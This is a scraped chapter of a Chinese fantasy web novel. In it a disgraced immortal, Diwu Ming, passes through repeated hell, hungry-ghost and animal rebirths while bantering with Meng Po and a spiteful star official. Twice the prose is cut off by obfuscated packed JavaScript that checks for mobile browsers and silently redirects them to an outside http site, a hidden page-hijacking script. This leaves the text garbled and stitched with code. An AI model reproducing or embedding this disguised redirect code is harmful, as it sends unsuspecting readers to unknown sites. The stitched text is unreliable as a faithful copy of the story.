第五茗听到此令时,曾大声嗤笑道:哈哈哈,它慌了,它慌了…它定下的一切,并不是结局。 天界之人都当第五茗受此大难,精神失常,是以才说出叫仙听不懂的话。 东华帝君却明白她是何意。 因她是他提前从天命天道中引渡而生,换句话说,第五茗这个早产儿,神格不稳,思绪乱飞,对天道不认可,他是有逃不掉的责任,所以在第五茗被羁押天庭牢狱的一万年,东华帝君先是去牢狱为第五茗解惑了天命批文:“承认错误,顺应天命,主动求死,即可生,亦可归。” 他又去央求天帝,容第五茗入轮回,尽快协助第五茗渡劫解天命。 天帝一心为天庭着想,想到第五茗是难得的天生神格,便同意了东华帝君的提议。 事情到此,这就有了第五茗「抽仙骨,剃仙根,留仙血,保神格,贬黜神职,历六道轮回,渡生死之劫」一说。 一万年来,天庭早已物是人非,第五茗下界入六道轮回的历劫送行,也不如其他仙君来得慎重。 其场面可谓是办得凄凄凉凉,又布置得异常“热闹”。 凄凄凉凉…乃是第五茗现在犹如凡人,押解她的只有司命星君饶笒和两名天兵。 “热闹”则是因第五茗下界去往六界轮回那日,居然一次性从三宫九府,飞升了十名法力和功德皆圆满之人,其中一人不仅飞升,还在飞升之时引来渡劫雷,当场神阶就越过星君直接渡成了真君。 本来那渡劫雷一直未停,有望继续引接飞升成更高的仙阶,却被那飞升之人自己打断。 冷清的天庭,一刹那,随着法力和功德皆圆满之仙变得热闹,又因万年来,难得笑脸相陪的天帝终于走出大殿与众仙同贺,而变成了一场庆贺盛宴。 这一万年,还有一仙今日也难得漏出了笑脸——那便是第五茗。 她被困方隅许久,早憋闷坏了,再见天日,竟不自觉,自言自语笑道:“我不过下界历劫,这响了又响的天雷,雷部的仙君们就不觉得自己法力快烧完了吗?还有漫天祥云,五彩鸟雀…会不会太隆重了点,受不起受不起啊,若是此去便回不来了,那岂不是浪费了诸位仙君的心意…” “自作多情!” 一道清脆又揶揄的声音,从第五茗身前的仙君口中传来。 此仙正是司命府司命星君饶笒,也是此番负责第五茗历劫命数的司命仙君。 饶笒戏谑地道:“你不会以为自己还是那司命府高高在上的司命真君吧,可笑!只留了一身血,早变成废物了犹不自知!” 看了一眼漫天的喜庆之色,她很是不满地继续道:“现如今是连眼睛也不如当年好使了,不知道天帝留着你有何用,如此大费周章地送你去六道轮回,要本君看来,还不如…” 可能是她意识到自己说过头了,最后这一句,作为司命,她把话断得干脆,咽进了肚子里。 一股诡秘的气息油然而生,祥云又格外刺眼,第五茗不得不低下高仰的头颅。 目光回视,她才发现前方的饶笒早已停下了脚步,还转过了头,正用凌厉地眼神盯着她看。 好似下一秒,便要用这视线剜了她,再把她扔进远处的雷电中。 不多时,饶笒的嘴唇一张一合,在第五茗的注视下,把剩下的话,继续无声地说了下去:还不如把你杀了了事。 说完,她便回了头,继续前行。 原来还没有成为一个合格的司命。 司命府惨了… 雷击带起的风吹散了一朵彩云,第五茗面上的表情有一丝变化,却不是害怕,那模样黯然,看着像是有心事。 略有所感,她对着那背影,慨然地摇了摇头,便继续跟着饶笒和两名天兵向天门处移动。 饶笒心性,是典型的“娇女”。 善争,善利。 遥记第五茗初困于牢狱时,饶笒曾积极带来一名断臂仙侍看望她。 神格驱使双眼,当时,她便看明白了过往历程,以及如今的下场,是如何走向。 同为司命府为数不多的女仙君,奈何她就是比饶笒仙阶更高一些,容姿又要美上一筹,天帝、东华帝君和天庭各仙君更是因她天生神格,又要多关注她一分,饶笒天生的辛苦命数、傲娇性子,在遇见她后,想不去眼红都不行。 饶笒可怜啊… 她嫉妒第五茗,天道选择了她。 她却不知,一切不过是天道为了惩罚第五茗设下的局。 第五茗看透一切,理解得不能再理解,但理解归理解,这事亲身经历起来,心里还是气的…她面上风平浪静,心里却止不住和消散的彩云一般,碎碎叹息: 能爽一时是一时嘛! 我懂!!! 但也太嚣张了吧!! 一介仙君居然满脑子都是谋权害命… 就算再怎么怕我归位,也得面子做足了呀!!!太嚣张了!!! 叹息着叹息着,她又释怀了…换做是她,她不一定比饶笒做得少。 毕竟,身处此位,过了这村没这店,难保明天站在这上面的会是谁,指不定她第五茗今天下去,明天就上来了,要知道东华帝君可是把考卷的答案送到了她手边。 不抓紧时间压上一头,那就是傻!! 可惜,第五茗想错了…她下界历劫的命格簿子是饶笒主动讨来的,她想归位没有面上看起来的那么简单。 然而,饶笒却想多了…要知道第五茗逆的是天道命言,这一万年来,不敢死不敢伤,小心翼翼地空活着,还不如去别的地方。 当知道可以名正言顺地下界,并且留在下界以后,她早就生了不再回来的心思。 她本就打算借此机会,在下面散归天地。 什么神君,什么命数,都不如她思念的人间二两烧刀子了。 一万年啊… 除了风有情还算有点良心,在她抽仙骨、剃仙根时给了半斤美酒,其他仙君连口水都未送与她一滴。 这上面,当真是没有一点让让她留恋。 第五茗又抬起头,顺着祥云和鸟雀,将视线看向飞升之气的来处,故作叹息道:“我眼神是不好了…竟是连飞升之象都看不懂,此行有劳饶笒星君和二位天君了。” 饶笒高兴如斯,听着第五茗做小伏低的话,面上的笑容更胜,只是苦了另外两名天兵,他们两是整个天庭除饶笒以外,唯二没有去凑天界热闹的仙君。 这场盛宴连远在海外蓬莱仙岛的六波天主帝君,闭关修炼的可韩司丈人真君,和游走三界不见踪影的九天采访使真君等,一众神龙见首不见尾的仙君都赶赴参加了。 那直接飞升成真君之人,已被天帝所得,留在天庭补替了原先第五茗之位,天帝一番兴高采烈,便扬言此次飞升的其余人天庭不做私藏,各仙宫、仙府、仙岛可自行挑选喜欢的引入门下。 有了仙宫、仙府、仙岛的加入,这场盛事就变得更加热闹,有望持续十天半个月。原本那两名天兵还能赶个末尾,然而没想到直接飞升成真君之人刚到司命府上任一天,便自请卸任,自毁神格,跳下天门,以凡人肉身跪拜在了东岳帝君仙府所在的泰山脚下。 “隗晎求东岳帝君收留,愿以此身做六天宫一洒扫。” 盛宴暂停,天庭众仙悄摸而散,天帝怒急了,人间接连下了好几日大雨,尤其泰山之处,深坑地势中,硬生生降出一水池,还把泰山脚下的身影也淋了一个通透。 一日,泰山脚下的村民们突然看见一道青色的绝美身影,每日都在登山修炼,又有一日,那道青色的绝美身影上了泰山,便再没有下来,让山下的村民频频回念。 村里的读书人更是在山门前,路旁歇脚茶棚依靠的石壁上附言一句:泰山洒扫,云间仙人。积石有玉,列松如翠。郎艳独绝,世无其二。 如此一可人,天庭都盼不来一名,更何况是泰山东岳仙府。 隗晎自此便入了泰山… 外界纷纷扬扬,热闹不止,六天宫也如往日一般,鬼声沸腾。 六天宫的孟婆雨无伤与司命星君饶笒你来我往争论不休好几日,生生错过了外面这一出好戏。 雨无伤故作委屈的面容,再一次小声拒绝道:“不可!” 语气十分坚决。 饶笒喝了一口茶,有些不耐烦,面色难看道:“命已写,命数也已定。你让呈于酆都大帝过目,本君这几日也照办。还有何不可?” 第五茗轮回历劫之事定好,下来之前那段时日,鬼差阴帅,雨无伤能遇见的所有人,都在她耳畔说她与第五茗关系最亲近,理应在第五茗最后一程路上多出出力,虽然不明白为何需要这样做,但她还是按照别人教的方法去做了。 雨无伤看了眼一旁喝茶酒喝到伶仃大醉的第五茗,不知道此时面上是否应该伤心一番,因为她快找不到借口继续帮第五茗缓六道劫难了。 想了许久,又琢磨了许久,雨无伤觉得此时的确应该伤心一番,下定决心,面上一改委屈,堆起伤心欲绝的姿容,一滴眼泪未流,却是一副送行伤心样,咬唇哭泣道:“呜呜呜…她是司命府真君,这命数真不可…” 语气终归软了下来… 饶笒实在受不了雨无伤反反复复的情绪,杯子一掷,打断道:“说过多少次了,她已被罢黜神职!你一介六天宫冥官,奉命看守奈何桥而已…难道是要违抗天帝旨意!” 雨无伤神情突然止住,直愣愣看着饶笒,像是被人施了定身法术一般。 六天宫内,饶笒还未蠢到会认为是带来的两名天兵对冥官动了手脚,自顾自以为是雨无伤终于识趣,刚准备带第五茗进一步动作,却见雨无伤眼珠子一转,身子先抖动起来,面容夸张地笑起来,只余声音接着哽咽道:“星君饶命…我没那心也没那胆子…星君饶命…” 饶笒嘴角抽搐道:“你…你这是在害怕?” 雨无伤道:“自然是害怕的…” 饶笒嘴角抽搐地更猛烈道:“呃…谁教的你!哪有人害怕是脸上笑着,身子和声音抖着!” 她扯过旁边一只排队喝汤的小鬼,质问道:“她一直都这么虚伪!这么假吗!” 小鬼哆哆嗦嗦着身子,一脸惊慌失措,嘴张了又张,几度都发不出声音,终于哭出声后,才哽咽道:“仙…仙君,我…我不知道…我…饶了…饶了…” 饶笒低声道:“废物!” 她手上一松,小鬼缩成一团,瘫软在奈何桥边,后面排队的小鬼见状,纷纷默契地后退了两丈。 雨无伤目瞪口呆地看着饶笒,一副认可的模样,呢喃道:“是和小鬼不一样…原来害怕是这副模样。” 饶笒不想再和雨无伤浪费时间了,对一旁守着第五茗的两名天兵示意,他们心领神会地架起第五茗朝奈何桥上走去。 雨无伤回过神连忙拦了上去,正要开口阻止对方,却先被一道声音先打断,停了下来。 原是被折腾醒来的第五茗赞叹了一句:“有义气…” 雨无伤又陷入了面上情绪地选择,过了小一会儿,她脸上才随机变化出喜悦的神情,害羞道:“这个时候了,夸我做甚。真君恐怕误会了,我不是讲义气,饶笒星君不允许我给真君喝我的汤,这不合规矩,另…饶笒星君还要送真君入地狱道,这也不合规矩…” 第五茗眼睛直直看着前方,道:“雨无伤,收起你的架势…” 好熟悉的话… 好熟悉的语气… 难道这种熟悉的感觉,就是别人说的莫逆之交? 雨无伤脑中一闪而过,面上和姿体上却如一万年前一般,习惯性地都停了下来,事不关己地询问道:“此处不该喜悦吗?” 第五茗道:“不该。” 雨无伤道:“哦。” 第五茗道:“因为我夸的是那只小鬼…雨无伤…哎…和你无关。你怎么还是这么呆…” 这一句话,让奈何桥上僵执的一群神仙都停了下来,顺着第五茗的视线看向了桥下。 一只小鬼,不知什么时候已经大着胆子,悄悄走到仙君们的眼皮子底下,把那饶笒抓过问话后,软成一滩的小鬼往外搬运了几里。 小鬼一直都在小心留意这群别扭的仙君,发现桥上的神仙知道了他的小动作,无暇顾及害怕,眼神微震地护在了那只瘫软鬼身前。 安静的奈何桥,连神鬼的呼吸都慢了下来,第五茗的声音缓缓地在奈何桥回荡,道:“不要盯着神君的眼睛看,做小鬼时要学会低着头,来世才有机会昂首挺胸。” 饶笒有些戏谑,第五茗这时候居然还有心情关心一只小鬼。 错了,第五茗关心的不是一只小鬼,是两只。 第五茗又多事了。 不知何时,她指尖悄悄缩藏进了袖子中,掐破指尖流出两滴仙血,在血滴落的瞬间,随着她的话音把仙血在暗淡的金光中烧尽。 天庭有三份命格簿子,此时在她的话语声中,写下了生生世世的命数和羁绊——富贵安康,互相扶持,不离不弃,白首不相离。 糟了! 怎么给另外一只小鬼多画出一份? 算了算了,命数一样,倒也不碍事。 幸好老司命早不管教了,不然定要唠唠叨叨,把那一本画蛇添足的烧掉。 等等… 怎么这命数越看越奇怪呢… 最后一句命语好像写的不太恰当… 两只男鬼,怎么写了「白首不相离」…当真是茶酒也会醉了? 罢了罢了…前面三句比较重要,其他的不重要…不重要… 好兄弟之间,有情有义也可以相守到白头嘛! … 小鬼很有眼力见,知道第五茗是在提醒他,大礼跪拜道:“谨遵真君教诲…” 小鬼因雨无伤一口一个地叫第五茗真君,便鬼心又多思了一寸,对一脸和气又主动搭话告诫的第五茗,不做和他一般的小鬼身份归置,学着雨无伤一样,叫起「真君」来。 现下「真君」二字却是有些刺耳,第五茗从两名天兵身上挣脱下来,整理衣襟,昂首挺胸,揣手道:“你这一礼我受了…” 她又转头对雨无伤说道:“我乃入六道轮回的第五茗,早已不是什么真君…这称呼,还是得谨慎,不然饶笒星君该不高兴了。” 饶笒在第五茗身后脸色黑下,哼道:“怎会!送你入六道轮回,都要比其他小鬼神君多出不少手续,本君还指着早些完事回天庭复命,哪里有机会来生这些小事的气!不过一个称呼罢了!” 第五茗转身,对身后饶笒嬉皮笑脸,接话道:“星君最大度,星君最公正,星君想来也知道孟婆雨无伤,只是一个无情无欲无绪,六感半失的冥官,只会别人怎么教,便怎么办事。这些日子…想来也不是她本意要与星君为难,原是她什么也不懂什么也不会,星君大度,自然日后也不会为难她这下界小仙。” 饶笒嘴角抽搐道:“自然…”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638115|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 第五茗道:“今日是个好日子,适合入六道轮回,还有劳星君送我一程。” 雨无伤道:“她要你入地狱…” 第五茗小声回应道:“无妨,虽然和一开始想的有些出入,不过…地狱也挺好的,恶鬼只有受罚一条命数,也只有求饶终至解脱这一个命劫,如此简单一世,不也挺好吗?” 饶笒嗤笑道:“你喜欢就好…” 砰! 下桥时,饶笒一掌推去,还是把这几日在雨无伤身上受的气全撒在第五茗身上了。 地狱道的入口都明显大了两分… 第五茗这哪是入六道轮回。 这分明是砸坑去了。 还是被迫的那种… 饶笒不知道是不是太闲了,第五茗熬到命劫之日时,她便会守在六天宫,等着亲自送她过奈何桥,入六道轮回。 哦…不! 是入地狱… 第五茗这十八世,次次入地狱,八热、八寒、游增、孤独,地狱总共十八处,她是一处也没缺席。 她咬着牙被热死八次,啃着手指被冻死八次,如果没被热死呢,她又要经历游增的一百二十八小地狱之苦,反正除非熬死,否则她没有办法脱离地狱之道。 当然,她也可以提前自我了断… 代价便是顺应天命,渡劫成功,回归仙位。 东华帝君在府邸等了许久,一直没等到第五茗归位。 按理说,第五茗下界和飞升应该只在一瞬之间,毕竟他为第五茗解过天命天道之言,其中渡劫之数是万万年来独一份的简单,只需要在六道轮回里自杀就可历劫成功。 东华帝君百思不得其解,且还没忍住,让身旁的仙童去往六天宫的第一天宫处送话,让第一天宫的审判提醒第五茗早日过天命之劫。 “上君,此次身死,可有感悟?” 第一天宫的审判坐在高台上的桌案后,小心翼翼地对堂下靠着牛头马面才有力气站直身子的第五茗,询问道:“能否渡劫呢?” 第五茗此次还算幸运,是被热死的。 听到这不知道是第十几次一模一样的问话,摇摇头,她用熏得嘶哑的嗓子,粗声道:“尚无感悟,咳咳咳…也未历劫成功…又劳审判记挂了…” 也不知是不是地狱之苦,容易使鬼心躁动,第五茗在入第一天宫审判堂后,早没了刚出地狱时对牛头马面的感恩和客气,此时,她心里苦水不断,咒骂抱怨声此起彼伏: 废话! 若是有所感悟,历劫成功,我第五茗就该直接原地飞升了! 你们这些冥官啊!是怎么回事!怎么事儿比饶笒还多,非得走这么一个过场吗… 第五茗突然怀念起牛头马面勾她魂魄时的利索。 那一套动作,简直太帅了!两魁梧身姿,上前来,二话不说,拿起招魂符,贴在她身上,双臂一抗,没有过多言语,就直接把她从苦海中拖了出来,宛如救世神佛。 若是那牛脑袋和马脑袋能换成两颗帅气的面容就更好了… 第一天宫审判满脸无奈道:“那便不耽误上君了,就此恭送上君继续入轮回。” 这些年,每次第五茗入轮回都会在奈何桥待上一段时日,雨无伤便为她提供便利,两人也因此越走越近。 在旁人看来,一个是为了能有机会学着做自己,而不是一个情绪怪异的熬汤人;一个则是贪嘴,为了喝上两口鬼身茶酒,醉上一场的赎罪仙。 殊不知,她两其实还有一个不为外人知的‘交易’。 第五茗替雨无伤找一样东西。 雨无伤替第五茗在奈何桥寻一群人。 东西是雨无伤确确实实想要找到的,但人嘛…第五茗却是希望奈何桥上永远都不要有他们鬼容出现。 又十八世,饶笒在天庭忙着处理事情去了,六天宫没了她的骚扰,小鬼和鬼差们胆子都大了许多。 鬼差又都比神仙多一份情,更何况守着奈何桥的是雨无伤,她听了别人的话,敢做的事就更多了。 雨无伤趁饶笒不在,悄悄用笔把饶笒放在六天宫里第五茗的命格簿子拿笔画了画,打算违背原定命格送第五茗入饿鬼道。 所有鬼差都怜悯第五茗,一朝天神,沦落至此,大家都睁一只眼闭一只眼,想着让她拥有完整的一世生活,便在雨无伤行动的时候,一起当了睁眼瞎,不仅悄悄地给雨无伤一路放行,还暗地里帮忙偷盗,为雨无伤出谋划策。 有时候想得太简单不是一件好事,做好事也不一定它就是一件好事。 命格簿子岂是随便一人,随便一改便能成! 他们不知,此举不仅给第五茗添了麻烦,还给他们自己惹了一场灾。 这三界,除了司命府的仙君们,别人是没有此项能力的。 第五茗不想这群鬼差因为擅自涂画命格簿子而受天罚,生生割了十八碗血,彻头彻尾自己给自己改写了十八世的饿鬼道之命。 六世外障之业,六世内障之业,六世无障之业。 第五茗气死了,饿死了,也快疯了… 鬼差应该都是群没去过饿鬼道的好鬼吧…他们都不知道若被投生到饿鬼道过的是什么日子,还不如地狱道来得舒坦。 饿鬼道所出皆是胎生,行走三界,不仅永远都得不到一点饮食,连世间最恶心的痰和鼻涕都找不到来食。 辛苦疲累是其次,他们没有衣服,身姿扭曲怪异。 夏天会晒伤,冬天会寒冷,下雨的时候,会觉得有如下火一样地感到烧灼,看到的水都是脓血。关节裸露且喷出火舌,从出生便将亲友都视为敌人,平生之事只为互相打斗、啃食。 第五茗突然有些感谢饶笒拦下了雨无伤的孟婆汤,让她不丢记忆,入饿鬼道后还能保持最后一丝清醒。 整整十八世,第五茗都在逃命的路上…至致被饿死,被捕食,被打杀。 幸好这十八世,每一世都来得快,去得也算快。 第五茗还是第五茗,没有成为真正的恶鬼… 第五茗心中多少有些窝火,她既流了血,还没有好命数。 不知不觉,她养成了一个向鬼差发泄的习惯…鬼喜清宁,她会在入鬼门关的路上,向接她的无常鬼差絮絮叨叨一路,反复讲述这一世的经历。 入了鬼门关,又要再同牛头马面讲述一遍,有些时候在第一天宫审判大堂,她心中怨气还盛,便要拉着第一天宫的审判再发泄一次,直到这些冥官鬼差和她一样,面容痛苦,内心焦灼。 也是这十八世,六天宫的通冥牌里消息炸了一番又一番,闲下来的鬼差都会通过自己的魂命,跑进通冥牌,聚集在一起吐槽第五茗:“居然是一个话痨鬼,一点仙家神君的做派都没有…” “她以前真是司命?怎么跟没见过世面的小鬼一样!” “她是不是在天界没朋友…” “入十八世饿鬼道,怎么还不做恶鬼!” “变成恶鬼就好了…” “变成恶鬼怎么了?” “变成恶鬼就可以永远把她关在十八层地狱了,这你们都不知道,刚上任的吧。” “把仙君变恶鬼…会不会太恶毒了…” “咱们最初不是要做好事吗…” “她早不是仙君了,叫她上君不过是给天界面子…” “你没接送过她吧?但凡你去一次,便会悔不当初!” “怎么办!!!这一世,是我去接她!!!” “自求多福!!” “自求多福…” “自求多福?” … 60. 仙界冥府差使事5 第五茗太惹鬼嫌弃了! 前两万年第五茗在六天宫留下的优秀印象,好像全没了… 从通冥牌里还传出过一则故事,据说一只无常的耳朵失聪就是因为她太能唠叨。 那一世第五茗没了嗓子,生前没机会说话,死后刚被引了魂,声音竟如铁钟般巨响,唠唠叨叨一路,把那引路的无常耳朵震爆,直接当场失聪了。 这饿鬼道的第十八世,第五茗又没有了嗓子。 引路的无常,看守鬼门关的牛头马面,第一天宫的审判和各位冥官都默契地在耳朵里塞上了棉花。 “上君,此次身死,可有感悟?能否渡劫?” 审判看见第五茗嘴张了两下便没有再动了,和过往不一样,心中瞬间大喜,跳起身拍案惊呼道:“上君这是成了?恭喜上君,贺喜上君…” 他面前的第五茗却只是抬手示意了一下审判的耳朵,又指了指其他冥官鬼差的耳朵,示意他们都拿下耳朵里的东西。 “尚无感悟,也未历劫成功。” “我这一世啊,可是入六道轮回以来最精彩的一世。他们见我是个哑巴,也不吃我,就养着我,想我同他们抓来的小鬼一起生更多的小鬼,这样他们就有无穷无尽的粮食…多歹毒的心啊,幸好那日关我的牢笼,铁锁松动,洞穴又恰好没有恶鬼在看守,我的膝盖骨又不知怎么的突然愈合了,我便趁此时机逃出了洞穴。我向着南面一直跑,一直跑!那条道就好似为我而生…你们猜怎么遭,也不知是不是我运气转好,前方居然是人帝的居住地…我还是第一次被雷击打得粉身碎骨,那风有情居然在皇城,听说好像还有一位仙君,从泰山来的,据说是东岳帝君近前的仙侍,也不知道你们认不认…” 识… 第五茗的话被打断了,一堂的冥官鬼差个个都捂着耳朵。 “上君!司命府司命饶笒星君今日来了,在殿后呢。” 可能因为第五茗还没有从恶鬼身转换回来,声音很是刺耳,从冥官鬼差的指缝钻进了他们的耳朵,审判是此处职位最高的,他迫于无奈,出声打断了第五茗的第十八次饿鬼道故事。 第五茗声音缓和下来,道:“是吗?看来她又不忙了…” 审判急忙说道:“那便不耽误上君了,就此恭送上君继续入轮回。” 第五茗看了眼再熟悉不过的第一天宫,叹息一声,闭上嘴,朝殿门处走去。 第五茗不喜欢审判送客的这句话,每次被审判抢了话,又抢了先机,第五茗都会闭口不言,沉默好一阵子。 她讨厌这句话,因为这像是一句常规问候:好比一个人遇见你,无论刮风下雨,总是问候你,祝你安好。既不好违逆,又不好不接受,毕竟别人是又恭敬,又说好言好语,作为被问候的人好赖要有点礼貌。 更何况是六天宫,审判大小又是一个官,他坐大堂椅子上,第五茗被铁链锁着,牛头马面押着站在堂中。 当官的给犯罪的一句好话,那便是恩赐,她自然得接着。 第五茗都懂,也会来事,但她就是不喜欢… 不过不喜欢也不重要了,她的感受现在没有那么无关紧要,哪怕因为这次又听见这句一模一样的话无语到想要翻白眼,也只能私下里对着牛头马面翻翻了。 饶笒来了,她又要遭殃了… 不过,因为第五茗写的那十八世饿鬼道还算是对自己下狠手,饶笒居然没有找她此事的麻烦。 其实是饶笒根本没发现是她修改的命格簿子…像饶笒这种飞升而上的仙君,根本不知道天生神格的仙血有多厉害,第五茗现在在她眼里不过是一个没仙骨仙根的仙君,和凡间断手断脚的废人无异。 她是在天界听说东华帝君身边的仙童来过冥界数次,以为是仙童为第五茗改的命数。 饶笒又把第五茗送进了地狱道,她得空的时候,会偶尔来六天宫看看情况。 随着六天宫准备脱离天界管制,她出现的次数倒是越来越少了。 十八世后,其他鬼差阴帅都躲着第五茗,雨无伤没有人教,只能按照先前的计划,继续壮着胆子在第五茗命格簿子上画了十八笔饿鬼道,第五茗被迫又放了十八碗血… 六天宫正式脱离天界管束,从天界统管下的一个部门,作为天界附属城邦的关系,独立成了三界外的冥界。 由酆都大帝协领十殿阎罗管理负责地府,泰山东岳大帝仙府统管整个冥界,负责三界生灵轮回。 雨无伤趁着六天宫改制冥界地府的时机,悄悄把第五茗命格簿子藏了起来,画了几千年的畜生道命数。 第五茗道:“雨无伤…” 雨无伤道:“怎么了?” 第五茗道:“你真当茶酒能把我灌迷糊吗?怎么去的是畜生道了…你又在我簿子上涂画了?” 雨无伤道:“你不用感谢我…等到咱们地府彻底改制,你就可以摆脱饶笒星君了。你放心,你的命格簿子我已经藏起来了,虽然现在还只能给你画畜生道,但再过些时日,东岳帝君再多管管我们冥界,咱们不受天庭气的时候,我就给你画人道。” 魂不附体、魂不守舍说的就是第五茗现在的状态。 她生无可恋地看了看手腕上吹弹可破的细嫩肌肤,心里拔凉拔凉的,眼睛一闭在手腕上划了一道口子,刚流出来的血瞬间被烧尽。 伤口处的血,还在不停地流出来,不停地在她手腕上烧着,她无奈道:“雨无伤…你画了多少年?” 雨无伤扳着手数了数,实在数不出来,手一挥,第五茗的命格簿子出现在手中,她哗啦啦翻了厚厚一叠,就着最后一页,平静道:“刚好到你来这地儿的第一万年年时,具体多少年…三千?不对不对…三千五?也不对…” 第五茗毫无力气道:“四千七百八十九年…雨无伤…你给我画了四千七百八十九年!” 你这是要我死啊! 你干脆杀了我算了,干嘛要放我血呢… 饶笒…你在哪,你快回来,我需要你守着我。 … 第五茗一脸的有话要说,却只有两只眼睛直愣愣地盯着雨无伤,嘴唇动了又动,却是没再发出半点声音。 她脸上的血色在这一瞬间随着手上燃烧的光辉,飞快地退了下去,苍白如纸,像是真成了冥界地府的一只鬼魂。 雨无伤道:“上君,你怎么了?你的脸?” 第五茗失血过多,说话都有些哆哆嗦嗦,道:“劳烦你去帮我提一桶雪泡红枣红糖水…记住,是一桶,少了我就活不成了。” 顿了顿,像是想起什么,她不放心地补充道,“可以的话就多放红糖,多给几颗枣…” 雨无伤道:“上君本来就身死,何来再死一说…” 话还没说完,雨无伤眼前突然出现了一只手腕。 腕颈上光辉四溢,绚烂十足。 不仔细看,在光辉之下根本找不到一丝血迹。 第五茗手腕上还在继续烧血,她嘴角已经开始控制不住地歪斜,道:“你再慢一点,我就会因为手腕上口子失血过多,就此消失在三界…你说是不是算活不成了。” 第五茗在雨无伤的一大桶补血补气、雪泡红枣红糖水滋补下,终于可以继续入六道轮回。 走之前,第五茗把自己的命格簿子从雨无伤手中抢了过来,压在了奈何桥的石墩子下,特意浸泡在了忘川河水里。 忘川河水——雨无伤一滴都不愿沾碰的东西。 殊不知,孟婆雨无伤如此避讳忘川河水,是和她的出生有关。 数几万年前,在奈何桥下的忘川河水中,不知道那只女鬼,居然把在人间未生产下的小鬼从腹中剥了出来,扔进了忘川河水中,妄图淹死对方。 可本来就都是死过一次,成了鬼,又如何还能再被杀死一次。 小鬼在忘川河水中泡了太久,久到她自己从河水中爬出来的时候,早被忘川河的水滋养成了一只亭亭玉立的女鬼。 她未着一缕的从忘川河水中出现,把奈何桥上的小鬼们吓了一大跳,落水的小鬼们,激起的忘川河水犹如雨下,守桥熬汤的老太婆见状,收留了这只小鬼,根据当日相遇情形,为她取名雨无伤。 后来有天君需要入人道,历情劫,小鬼幸运地被选中,陪仙君人间度过一世,从此鬼命飞升,不仅帮老太婆熬出了绝世孟婆汤,还替代了老太婆,成了新一任的守桥熬汤人——孟婆。 第五茗此番畜生道历劫,算是见识了不同生灵的不同死法。 她投生蚂蚁,被大象踩死,投生蚊子,被蜻蜓捕吃,投生虾鱼,被鸟叼走…好不容易投生成兔子,野猪,财狼,虎豹这些身姿敏捷一点,体型大一点,能力强一点的,结果不是被更厉害的动物捕吃掉,就是被猎人射杀。 其实,畜生道更折磨人的还在死后,一世命数了结,在身体里等着被勾魂时,还得亲眼目睹肉身被生吞活剥,剔骨、削肉、剥皮…一世一遍,一样不落。 好在终于不像饿鬼道那般恶心人了… 十几次畜生道历劫后,第五茗发现勾她魂魄的不再是那些熟悉的牛头马面,如今不知何时多出了一个妖冥使的职位,改成豹尾、鸟嘴、鱼鳃和黄蜂负责这一道的轮回引渡。 而牛头马面没有调令,不再出地狱冥府办差,留在了鬼门关内,只负责鬼魂入鬼门关后的流程。 后来,她又在入鬼门关的路上遇见认识的灰服无常鬼差,他们现在被特意分了黑白,好奇询问下才知道,原是现在只专属负责人道差事了,为了符合人的作息,特意有了白无常执白日,黑无常巡黑夜的区分。 第五茗喋喋不休一路,黄泉路上一眼望去,众多熟悉的身影里,让她寻到了一缕婀娜多姿的幽魂。 她熟络地打着招呼,道:“小七,数年不见,甚是想念啊!” “你可想我了?” “你被分到白无常了?” “白无常好啊,比黑无常的衣服好看,就是头上的白帽子不好看,字倒是不错的,「一见生财」,应该能发大财吧…” “最近有没有从小鬼身上捞着点?” “要不要我陪你去前面买两壶茶酒,谈谈心?” “姐姐我最近是越发的想念你们啊,妖冥使的兽语我是一句也听不明白,姐姐我啊…都快憋坏了…” 叽里呱啦一大串,她也不嫌口渴。 无常小七揉了揉耳朵,竖起一指在唇前,面色愁容道:“嘘!上君可小声点吧,上面换了位管事的,现在这冥界地府可不是当初的六天宫。” 入鬼门关这一路,的确不如以前混乱,一切分工分道,井然有序。 鬼道中,错落鬼影身后,一抹红色闪入第五茗眼中。 彼岸花! 被踩得无花无梗的彼岸花居然又开了。 还是在无沙无土的碎石之上!! 黄泉路那无沙无土的碎石,是天命天道放弃的幽冥之地,重罚之下,没有花草树木可以生根,连上古时期唯一能在冥界开花的彼岸花,也因小鬼们的不珍惜,断了生机。 第五茗感叹道:“看来是位了不起的大人物啊…” 无常小七没听懂第五茗话中的意思,附和道:“上面的,肯定都是大人物,等上君回去以后肯定也是一位大人物,到时候日子就可以很轻松了。” 第五茗唏笑道:“是吗?我怎么觉得做小鬼也挺不错的呢?” 无常小七道:“怎么会?” 第五茗见无常小七娇俏面容一副单纯无害模样,双手瘙痒难耐,上前一把搂住对方胳膊,捏了捏对方脸颊,才凑在耳边,哄骗道:“小七,真没二两茶酒给上君我尝尝吗?这一世做山兔,那猎户拿烧刀子就着我的肉吃,把我馋的啊,我都流一路口水了,再不喝上一小口,上君我待会儿估计就得再死上一回了,你行行好…把藏起来的茶酒分我一口呗。” 无常小七揉揉脸,一脸娇羞道:“上君…我真没有茶酒了,不过前面歇脚的野鬼村现在多了几家店,倒是可以买到雪窖茶酒,我也还有些钱…” 第五茗开心道:“谢谢小七,我就知道,这冥界地府只有小七你最好了,姐姐我最最最喜欢你了。” 一旁的妖冥使豹尾翻了一个大白眼,旁边路过的鬼差们,也都给了第五茗一个眼白不小的脸色。 鬼见鬼嫌的上君… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643625|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通冥牌内,立着的一个个鬼差魂命纷纷鬼火闪动,又一次为第五茗翻涌。 